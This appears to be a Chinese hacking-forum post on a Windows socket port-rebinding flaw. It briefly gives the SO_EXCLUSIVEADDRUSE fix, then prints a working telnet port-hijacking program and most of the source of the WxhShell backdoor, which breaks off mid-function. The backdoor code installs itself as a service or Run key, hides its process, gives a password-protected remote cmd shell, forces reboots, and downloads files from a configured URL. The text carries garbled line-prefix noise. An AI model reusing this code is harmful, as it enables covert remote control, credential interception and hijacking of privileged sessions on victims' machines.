在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/4x3dwXW@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
aVTTpMY ~2 aR>R_nT saddr.sin_family = AF_INET;
b5WtL+Z z+IHt( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n?uVq6c \/=w\Tj bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$&IF#uDf ]6JI(( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
JBzRL"| G-FeDP 这意味着什么?意味着可以进行如下的攻击:
5X"y46i,H ErZYPl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G&ZpQ) +<qmVW^X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Op''=Ar#sh =)tU]kp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Gp*U2LB 7bcl^~lY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,c3gW2E ^\|Hz\"* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D9.H<.|36 -<e8\ Z` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
TNgf96)
y X{2))t%
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r(qAe{ "p,TYjT?R #include
xnz(hz6 #include
Th"0Cc) #include
+%Y`>1I^# #include
}<G"w5.< DWORD WINAPI ClientThread(LPVOID lpParam);
"^?|=sQ int main()
U9N1)3/u {
p\xi5z WORD wVersionRequested;
h$\+r< DWORD ret;
/m#!<t7 WSADATA wsaData;
u~
%xU~v BOOL val;
x.gRTR`7( SOCKADDR_IN saddr;
M? 7CBqZ SOCKADDR_IN scaddr;
tzl`|UwF int err;
#s"|8# SOCKET s;
AH?T}t2 SOCKET sc;
NR98I7 int caddsize;
a3i;r M2 HANDLE mt;
~Ey)9phZK DWORD tid;
aX`@WXK wVersionRequested = MAKEWORD( 2, 2 );
X0G
Mly err = WSAStartup( wVersionRequested, &wsaData );
h7 uv0a~0 if ( err != 0 ) {
G'>?/l# printf("error!WSAStartup failed!\n");
J})#43P return -1;
$inpiO|s }
"0BuQ{CQ saddr.sin_family = AF_INET;
,Oqd4NS >$^v@jf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q ERdQ~M, {u7%Z}<0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8vP:yh@ saddr.sin_port = htons(23);
a04I.5! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z{'.fq2A {
?U}Ml]0~ printf("error!socket failed!\n");
bKAR}JM& return -1;
6x6xv:\ }
c UJUZ@ol val = TRUE;
Z:TW{:lrI //SO_REUSEADDR选项就是可以实现端口重绑定的
+A3Q$1F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^
W/,Z` {
)Fa6'M printf("error!setsockopt failed!\n");
y7&8P8R return -1;
y[L7=Td }
F0&BEJBkU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^M51@sXI7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
I $5*Puy# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
IUK!b2!` +y}4^3Vx^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`#v(MK{9+V {
EUVB>%P ret=GetLastError();
!21#NCw printf("error!bind failed!\n");
{9 PeBc return -1;
gy%/zbZx }
T(n<@Ac]V listen(s,2);
x+mfQcSD& while(1)
wF@mHv {
.bwKG`F caddsize = sizeof(scaddr);
.1O
//接受连接请求
|G!P G6%1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^+v6?%m if(sc!=INVALID_SOCKET)
p-KMELB {
AdCi*="m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ch^tq",1> if(mt==NULL)
{e>E4( {
IV#kF}9$ printf("Thread Creat Failed!\n");
KINKq`Sx break;
GpW5)a }
o*d+W7l }
vai.w-}Z CloseHandle(mt);
oH[4<K> }
ig] hY/uT closesocket(s);
jjs1Vj1@< WSACleanup();
uude<d"U return 0;
<%@S-+D`] }
~-1!?t/% DWORD WINAPI ClientThread(LPVOID lpParam)
d;Uzl1; {
z j[/~I SOCKET ss = (SOCKET)lpParam;
kX\\t.nH SOCKET sc;
jl!rCOLt4 unsigned char buf[4096];
@D<KG SOCKADDR_IN saddr;
e-}b]\ long num;
"cK@Yo DWORD val;
%Q)3*L DWORD ret;
Q@7-UIV|q //如果是隐藏端口应用的话,可以在此处加一些判断
4{[cXM8*j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|VY+! saddr.sin_family = AF_INET;
xj1FCT2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]i}3`e? saddr.sin_port = htons(23);
3jH8pO^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\P3[_kbf1 {
AbWnDqv printf("error!socket failed!\n");
jK#[r[q{ return -1;
P^1+;dL,D }
,+iREh; val = 100;
*1Q~/<W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dHE\+{K%- {
LuLnmnmB ret = GetLastError();
c[/h7!/aH return -1;
k8]uy2R6} }
NlBnV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9c/&+j {
\xQ10\u ret = GetLastError();
0K0[mC}ZwM return -1;
<>jut }
~|LlT^C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|_=o0lf {
q- U/JC printf("error!socket connect failed!\n");
D"5u N0Z closesocket(sc);
?1r>t"e5 closesocket(ss);
q~3dbj return -1;
O<@S,/Q4 }
U[!x
0M while(1)
UR/lM,N; {
OOa}+^-j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!9$xfg} //如果是嗅探内容的话,可以再此处进行内容分析和记录
[Rqv49n*V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3c#CEuu num = recv(ss,buf,4096,0);
kJ;fA|(I if(num>0)
`M
"O # send(sc,buf,num,0);
}'?N+MN else if(num==0)
'
9K4A'2[ break;
s'&/8RR num = recv(sc,buf,4096,0);
kfod[*3 if(num>0)
2{<5?Op send(ss,buf,num,0);
?A[q/n:K else if(num==0)
CB<i break;
8x`?Yc }
Zcaec# closesocket(ss);
-SZW[T<N" closesocket(sc);
l7{Xy_66 return 0 ;
l9U^[;D }
LX4*3c|i, rPK)=[MZ Z3ucJH/)V ==========================================================
5LT{]&`9 EF7Y 4lp 下边附上一个代码,,WXhSHELL
{=(GY@yU/ p8%/T>hK ==========================================================
W!$aK )]4u tMWDKatb #include "stdafx.h"
\6UK:'5{ ?m)3n0Uh #include <stdio.h>
R7/"ye:7J #include <string.h>
f0 ;Fokt( #include <windows.h>
n4albG4 #include <winsock2.h>
@KM !g,f #include <winsvc.h>
3NEbCILF #include <urlmon.h>
-y8?"WB(b :R/szE*Ak #pragma comment (lib, "Ws2_32.lib")
63ig!-9F #pragma comment (lib, "urlmon.lib")
kIHfLwh9N
B&l5yI
b #define MAX_USER 100 // 最大客户端连接数
L'1p]Z" #define BUF_SOCK 200 // sock buffer
s!\:%N #define KEY_BUFF 255 // 输入 buffer
vJX3fE}F x Z3b)j2D #define REBOOT 0 // 重启
%p5%Fs`sd #define SHUTDOWN 1 // 关机
mk)F3[ke %UquF #define DEF_PORT 5000 // 监听端口
ail%#E8 v&[Ff|> #define REG_LEN 16 // 注册表键长度
9=(*#gRd #define SVC_LEN 80 // NT服务名长度
J|DID+M 3y}0J @ // 从dll定义API
#d+bld \ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N# Ru`; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
80X #V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
k79"xyXX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ogt<vng R %QgOz3` // wxhshell配置信息
P4{8pO]B struct WSCFG {
l]BIFZ~ int ws_port; // 监听端口
]!yuD/4A char ws_passstr[REG_LEN]; // 口令
`"N56 int ws_autoins; // 安装标记, 1=yes 0=no
3JB?G>\! char ws_regname[REG_LEN]; // 注册表键名
D^(Nijl9U char ws_svcname[REG_LEN]; // 服务名
W'Wr8~{h char ws_svcdisp[SVC_LEN]; // 服务显示名
5*.JXxE;U char ws_svcdesc[SVC_LEN]; // 服务描述信息
JLS|G?#0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
9v=fE2`- int ws_downexe; // 下载执行标记, 1=yes 0=no
3BBw:)V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ar-N4+!@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
%3L4&W_T %P!6cyQS };
ZK =`Y@ ,KXS6:1%5Y // default Wxhshell configuration
3h:"-{MW. struct WSCFG wscfg={DEF_PORT,
0dv# [ "xuhuanlingzhe",
\,YF['Qq 1,
Ga5O&`h "Wxhshell",
=(ULfz[: "Wxhshell",
]8)nIT^EP "WxhShell Service",
5PY,}1` "Wrsky Windows CmdShell Service",
FLT4:B7 "Please Input Your Password: ",
;pK/t=$ 1,
#KC& ct
"
http://www.wrsky.com/wxhshell.exe",
MP5
vc5[ "Wxhshell.exe"
-;/;d z; };
LvlVZjT |@{4zoP_N // 消息定义模块
=Q#}
,T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
xgw[)!g^\ char *msg_ws_prompt="\n\r? for help\n\r#>";
{+CW_ce char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!(:R=J_h char *msg_ws_ext="\n\rExit.";
W @R\m=e2 char *msg_ws_end="\n\rQuit.";
.h!oo;@ char *msg_ws_boot="\n\rReboot...";
jV83%%e char *msg_ws_poff="\n\rShutdown...";
8lG@8tbW^ char *msg_ws_down="\n\rSave to ";
-+^E5 zZrUS'8 char *msg_ws_err="\n\rErr!";
clE_a? char *msg_ws_ok="\n\rOK!";
{Kn:>l$*7 xign!= char ExeFile[MAX_PATH];
B@P +b*% int nUser = 0;
z8HOig? HANDLE handles[MAX_USER];
,>H(l$n int OsIsNt;
gi26Dtk(h X?m"86L SERVICE_STATUS serviceStatus;
.M3]\I u SERVICE_STATUS_HANDLE hServiceStatusHandle;
n<
npJ* J2rw4L // 函数声明
4bV&U= int Install(void);
tOn 6 int Uninstall(void);
~RlsgtX" int DownloadFile(char *sURL, SOCKET wsh);
4/6?wX int Boot(int flag);
HYd&.*41rE void HideProc(void);
6Fp}U int GetOsVer(void);
1C,=1bY int Wxhshell(SOCKET wsl);
05]y*I void TalkWithClient(void *cs);
j<H5i} int CmdShell(SOCKET sock);
T(Q(7 int StartFromService(void);
X
rBe41 int StartWxhshell(LPSTR lpCmdLine);
gP&G63^ 8ZmU(m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N~c Y ~a VOID WINAPI NTServiceHandler( DWORD fdwControl );
2~yYwX A .]o&S} // 数据结构和表定义
: ,0F_["3 SERVICE_TABLE_ENTRY DispatchTable[] =
_!vxX] {
R07 7eX {wscfg.ws_svcname, NTServiceMain},
O$<m(~[S {NULL, NULL}
K9{]v=#I };
"pQFIV, F+%6?2J // 自我安装
Ancka int Install(void)
Wq5 Nc {
F]_w~1
n5 char svExeFile[MAX_PATH];
0A]+9@W; HKEY key;
c34s(>AC strcpy(svExeFile,ExeFile);
wrORyj s&>U-7fx" // 如果是win9x系统,修改注册表设为自启动
E=G"_
^hCE if(!OsIsNt) {
n U0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>bgx o< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/'
+GYS RegCloseKey(key);
6p=OM=R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?^y!}( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R
4= ~ RegCloseKey(key);
EbG`q!C return 0;
orT%lHwjL }
hxt,%al }
M1>2Q[h7 }
Bu%TTbnz_G else {
N;\G=q]
9 ;+86q"&n // 如果是NT以上系统,安装为系统服务
aPELAU- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`W&:* if (schSCManager!=0)
P#gY-k&Nr {
t<UtSkE1 SC_HANDLE schService = CreateService
cx+li4v (
(]Zyk,[ schSCManager,
;*~y4'{z wscfg.ws_svcname,
/o/0 9K wscfg.ws_svcdisp,
GS<aXhk SERVICE_ALL_ACCESS,
f:w#r.] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$qvk9 B0E SERVICE_AUTO_START,
q? 9x0L SERVICE_ERROR_NORMAL,
k+D32]b@ svExeFile,
'N7AVj NULL,
dg(fD>+ NULL,
Ke5fe# NULL,
KS9eV NULL,
~qjnV NULL
)bl''
yO );
+"~~;J$ if (schService!=0)
31FQ=(K {
4R;6u[a]u CloseServiceHandle(schService);
WNE=|z#| CloseServiceHandle(schSCManager);
<"&I'9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`1 tD&te0 strcat(svExeFile,wscfg.ws_svcname);
=7*k>]o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
MDyPwv\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=m+'orJ1 RegCloseKey(key);
9rd7l6$R" return 0;
.b3cn }
tB,1+I= }
*irYSTA$ CloseServiceHandle(schSCManager);
=9LeFrz }
C0Oe$&
_ }
t7(#Cuv- qYwEPGa\ return 1;
0/vmj,&B( }
Zy<gA > XAnN< // 自我卸载
DGQGV[9%4C int Uninstall(void)
pOe"S {
m\XgvpvrP HKEY key;
3T<aGW1 [q<Vm- if(!OsIsNt) {
`Dn"<-9: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&B;M.sz~C4 RegDeleteValue(key,wscfg.ws_regname);
|k3^
eeLk RegCloseKey(key);
A-8[8J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/W vgC) RegDeleteValue(key,wscfg.ws_regname);
jMH=lQ+8 RegCloseKey(key);
3~r>G return 0;
}H>}v/ }
S(c&XJR }
Kc%GxD` }
w7;,+Jq else {
h"/y$ N
N1(f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Oh|KbM*vS if (schSCManager!=0)
=:5o"g {
Q`ALyp,9b SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
p1O[QQ| if (schService!=0)
7a<-}>sU {
HqZ3] if(DeleteService(schService)!=0) {
q#mw#Uw- CloseServiceHandle(schService);
)[c@5zy~* CloseServiceHandle(schSCManager);
^e1Ux return 0;
w<0F-0:8 }
Avc9W[4 CloseServiceHandle(schService);
H/v|H}d; }
Ha}TdQ% CloseServiceHandle(schSCManager);
fBi6%
#
}
pSzO)j }
x9U(,x6r S
6|#9C& return 1;
[s"e?Qee }
Jw
b'5[R 3T|xUY)G4 // 从指定url下载文件
?KKu1~a_ int DownloadFile(char *sURL, SOCKET wsh)
Z#1'STg {
i.(kX`~J1 HRESULT hr;
DC-tBbQkk char seps[]= "/";
KcK,%!>B char *token;
9 :ubPqt char *file;
[T<Z? char myURL[MAX_PATH];
'Y%@fZf x char myFILE[MAX_PATH];
>p[skN 0[O ."9 strcpy(myURL,sURL);
(9phRo)> token=strtok(myURL,seps);
q9^6A90 while(token!=NULL)
$ncJc {
'T7=.Hq<4 file=token;
,?k~>,{3 token=strtok(NULL,seps);
GlPd)m` }
hYI0S7{G #AN]mH GetCurrentDirectory(MAX_PATH,myFILE);
B}&9+2M strcat(myFILE, "\\");
v"K # strcat(myFILE, file);
q5UD!&W send(wsh,myFILE,strlen(myFILE),0);
n$03##pf send(wsh,"...",3,0);
vRR(b!Lq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V(^aG=TaW: if(hr==S_OK)
:CR1Oy 9 return 0;
dP7nR1GS else
,1! ~@dhs return 1;
Y!K5?kk '@WpJ{]A }
'PBuf:9lN dHUcu@, // 系统电源模块
B'kV.3t int Boot(int flag)
uYu/0fQD {
\H-,^[G3 HANDLE hToken;
] C&AU[U* TOKEN_PRIVILEGES tkp;
0]._|Ubn6) VOY#Y*)g if(OsIsNt) {
kYl')L6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ET1>&l:. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0)^$9Z tkp.PrivilegeCount = 1;
DJGq=* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?vd_8C2B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
uK_R#^ if(flag==REBOOT) {
D#pZN,' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
KBO{g:" return 0;
O*:8gu'Y2 }
Jy?#@/~ else {
KVC$o+<'`% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
i=ztWKwKf return 0;
ER)<Twj }
,]\: ]Y&? }
r{Stsha( else {
>JWW2< if(flag==REBOOT) {
i]L4kh5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-y+u0,=p. return 0;
>e4w8Svcy }
aglW\LT^ else {
=64%eF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
xwm-)~L4T return 0;
HfN:oww }
"\:ZH[j }
2 ~zo)G0 gEBwn2 return 1;
I {o\d'/ }
, id`=L= \!_:<"nX. // win9x进程隐藏模块
Hh<3k- *d void HideProc(void)
jcuC2t {
~:|qdv%\ u>cU*E4/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^9ZW}AAO if ( hKernel != NULL )
3o>.Z; {
|iJ+e -_R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!8#!P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G|"`kAa FreeLibrary(hKernel);
[p%OIqC`pB }
JuD$CHg;# FQ72VY return;
>~% _U+6 }
~Xf&<&5d T HxgH*IMs // 获取操作系统版本
KioD/
int GetOsVer(void)
ZYBK'&J4m {
h>l OSVERSIONINFO winfo;
d:x=g i! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}&o*ZY-1 GetVersionEx(&winfo);
Lh M{d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6EeUiLd return 1;
9m:qQ1[\ else
lYz$~/sd return 0;
OcBn1k. }
>;ucwLi TN=MZ{L // 客户端句柄模块
XP$ 1CWI int Wxhshell(SOCKET wsl)
6}vPwI {
/^d!$v SOCKET wsh;
zg3q\~ struct sockaddr_in client;
gda3{g7<) DWORD myID;
u/D=&"tL d9hJEu!Lu while(nUser<MAX_USER)
kdWk{ZT^ {
x{B%TM-Ey int nSize=sizeof(client);
">? y\#OA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-9 AI@^q if(wsh==INVALID_SOCKET) return 1;
bB^SD] }C "ct_EPr` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
XOM@Pi#z if(handles[nUser]==0)
L;},1
\ closesocket(wsh);
:QnN7&j|(w else
,X&lVv# nUser++;
JDi|]JY }
HR55|`] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]7C=.'Y _MfB,CS
return 0;
:XK.A
}
+$:bzo_u 3,8>\yf` // 关闭 socket
igp[cFN void CloseIt(SOCKET wsh)
d v@B-l; {
%aU4d
e^ closesocket(wsh);
[q/=%8qLUA nUser--;
a %"My;8 ExitThread(0);
p4;A[2Ot`: }
RLN>*X ~3Y)o|D3 // 客户端请求句柄
`}ak;^Me void TalkWithClient(void *cs)
}qlU {
f%0^89) i DV.L SOCKET wsh=(SOCKET)cs;
d/G`w{H}y char pwd[SVC_LEN];
#EiOC.A= char cmd[KEY_BUFF];
;7"}I char chr[1];
klduJT
> int i,j;
V-U,3=C $9dm2#0d while (nUser < MAX_USER) {
r3oAP[+n =e/{fUg8f if(wscfg.ws_passstr) {
HDUtLUd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5
T1M:~u i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L-\-wXg% //ZeroMemory(pwd,KEY_BUFF);
Hxft~* i=0;
]w.:K*_= while(i<SVC_LEN) {
AAjsb<P +!IIt {u // 设置超时
">]v'h(s fd_set FdRead;
+U9Gj# struct timeval TimeOut;
DTrS9j?z FD_ZERO(&FdRead);
uM,bO*/f FD_SET(wsh,&FdRead);
((wG
K|d TimeOut.tv_sec=8;
JX,&im*BG TimeOut.tv_usec=0;
lwhAF, '$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
R9Wh/@J] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e0%?;w-TL _Z'j%/-4@D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
})O^xF~ pwd
=chr[0]; _IJPZ'Hr
if(chr[0]==0xd || chr[0]==0xa) { Q6Z%T.1
pwd=0; Q#8}pBw
break; w}VS mt$F
} R4G$!6Ld
i++; ^~Nz8PCY
} ^D 8YF
Mp*")N,
// 如果是非法用户,关闭 socket 9N1Uv,OtB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r{NCI
} 0
D^d-R,
~N
"rr.w
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U\OfB'Dn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `)5,!QPQ7u
Nr~9] S
while(1) { k;EG28
as#_Fer`U
ZeroMemory(cmd,KEY_BUFF); \Af25Mcf:
vh+ '
W
// 自动支持客户端 telnet标准 NsbC0xLd
j=0; N
RB>X
while(j<KEY_BUFF) { ;B Lw?kf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :+?eF^5
cmd[j]=chr[0]; +]?/c>M
if(chr[0]==0xa || chr[0]==0xd) { =Sjr*)<@j
cmd[j]=0; 8ckcTNPu
break; pI>yO~Ve
} <HYK9{Q
j++; D,$!.5OA
} qH1k
C1V:_-
// 下载文件 o 8fB
if(strstr(cmd,"http://")) { }G{ 'Rb
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W~" 'a9H/
if(DownloadFile(cmd,wsh)) He&7(mQ0^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VIIBw
else FJI%+$]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `5SLo=~
} W#|30RU.G
else { oc|%|pmRd<
4O I''i
switch(cmd[0]) { l g0 'qH8
adCTo
// 帮助 3bWYRW
case '?': { cA,`!dG2,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hq[:U?!Tt
break; !sTOo
} SRP.Mqg9
// 安装 HQ187IwpTm
case 'i': { Y5dt/8Jo
if(Install()) A'zXbp:%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y3Z\ Y[
else #
dA-dN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^X?D4a|;#g
break; k vuSE
} T"bH{|:%*=
// 卸载 LMGo8%2I
case 'r': { 6@rebe!&=
if(Uninstall()) },]G +L;R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eb#yCDIC
else Rfx}[!<{N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <<SUIY@X
break; 8h?):e
} 7A,lQh
// 显示 wxhshell 所在路径 uY_vX\;67z
case 'p': { ?'8(']/
char svExeFile[MAX_PATH]; 7Rq|N$y.3
strcpy(svExeFile,"\n\r"); |T;]%<O3E
strcat(svExeFile,ExeFile); :lfUVa{HN
send(wsh,svExeFile,strlen(svExeFile),0); > N bb0T
break; S|K#lL
} .%"s|
D
// 重启 zbL8
pp
case 'b': { <Pnz$nH:e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m>:zwz< ;
if(Boot(REBOOT)) fep8hf B;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \RF{ITV$kD
else { x| =]Xxco
closesocket(wsh); CG0jZB#u
ExitThread(0); %7wNS
} 2R`dyg
break; V4CL%i
} dRGgiQO
// 关机 3;'RF#VL
case 'd': { +oRBSAg -
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JBK(Nk
if(Boot(SHUTDOWN)) pIhy3@bY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U3tA"X.K
else { AdL>?SG%
closesocket(wsh); [h0.k"&[
ExitThread(0); 0_f6Qrcj
} N ]|P||fC
break; t,IQ|B&0
} Oh'C[
// 获取shell 2)F~
case 's': { JW2~
G!@
CmdShell(wsh); mM;5UPbZ
closesocket(wsh); 5<77o|
ExitThread(0); r"hogmFD;
break; gNaB^IY
} q_b,3Tp
// 退出 @\?QZX(H
case 'x': { 5)=YTUCk
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1$RUhxT
CloseIt(wsh); >0AVs6&;v
break; V+>.Gf
} P/Zp3O H
// 离开 P+gYLX8
case 'q': { )2&y;{]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =;m;r!,K
closesocket(wsh); Z~Vups#+f
WSACleanup(); Hq!|(
exit(1); @A1Ohl
break; E%e2$KfD
} eZvG
} ( SiwO.TZ
} VI(2/**
9*CJWS;
// 提示信息 IZ3e:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dh.pH1ZY3n
} <= Aqi9 1
} GjeRp|_Qd<
Yu_`
>so
return; (ioJ G-2u
} q^^&nz<A
E=L1q)
// shell模块句柄 4">C0m;ks
int CmdShell(SOCKET sock) JsV-:J
{ 6'6,ySo]
STARTUPINFO si; ;`:A(yN]T
ZeroMemory(&si,sizeof(si)); KvkU]s_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %hV]vm
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #S') i1;
PROCESS_INFORMATION ProcessInfo; thrv_^A
char cmdline[]="cmd"; y.+!+4Mg|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BfdS3VrZ/
return 0; -Ta|
qQa
} pu,|_N[xq8
Pe)SugCs
// 自身启动模式 . E?a
int StartFromService(void) |rwx;+
{ Be~In~~
typedef struct MVOWJaT(Aq
{ *rv7#!].
DWORD ExitStatus; h}yfL@
DWORD PebBaseAddress; #kRt\Fzq
DWORD AffinityMask; @JU
Xp
DWORD BasePriority; dj5@9X
ULONG UniqueProcessId; + 3c (CTz
ULONG InheritedFromUniqueProcessId; +~za6
